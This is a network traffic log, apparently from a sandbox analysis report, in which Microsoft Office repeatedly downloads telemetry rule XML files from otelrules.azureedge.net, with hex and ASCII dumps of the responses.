2024-10-18 21:46:47 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:47 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:47 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:47 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 22e25412-c01e-008d-5dd8-1e2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214647Z-r197bdfb6b4h2vctng0a0nubg800000002ag00000000d311 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:47 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:47 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:47 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:47 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: a60dd697-201e-0000-33d8-1ea537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214647Z-16b659b4499f5gh931bbxe97rs0000000asg000000004am3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:47 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:47 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:48 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:48 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: ad03bb8d-101e-0065-56e3-204088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214648Z-15b8d89586f57l94v02234ytdc000000027000000000nwn3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:48 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:47 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:48 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:48 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: a02d454d-501e-00a0-57d8-1e9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214648Z-16b659b4499p9z6wm7hd85vp6w00000001n000000000xaaf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:48 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:47 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:48 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:48 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 783e58c1-401e-00ac-30d8-1e0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214648Z-15b8d89586fqj7k5uht6e8nnew00000005kg000000001b16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:48 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:48 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:48 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:48 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: bcdfec34-b01e-0002-47d9-1e1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214648Z-r197bdfb6b429k2srg5tfm6hnn000000030g00000000t61x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:48 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:48 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:48 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:48 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 82f5a7c4-601e-0084-80ad-206b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214648Z-15b8d89586fhl2qtt2ydkugwts00000005hg00000000am51 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:48 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:48 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:48 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:48 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: dd4886db-801e-0035-5ad8-1e752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214648Z-16b659b4499wvth4ttszf0h3n400000009dg00000000mg28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:48 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:48 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:48 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:48 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: dab50239-001e-0066-6cd8-1e561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214648Z-16b659b44994sn4705n0hqcu3c00000009rg000000006bg5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:48 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:48 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:49 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:48 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: 72513f84-001e-0046-3cd8-1eda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214648Z-15b8d89586fst84k5f3z220tec00000005kg00000000q97a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:49 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:48 UTC	192	OUT	GET /rules/rule702650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:49 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:49 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEA1B544" x-ms-request-id: 8414e67f-001e-0014-73d8-1e5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214649Z-16b659b4499gh2srh1fh903xkw0000000bvg00000000ab32 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
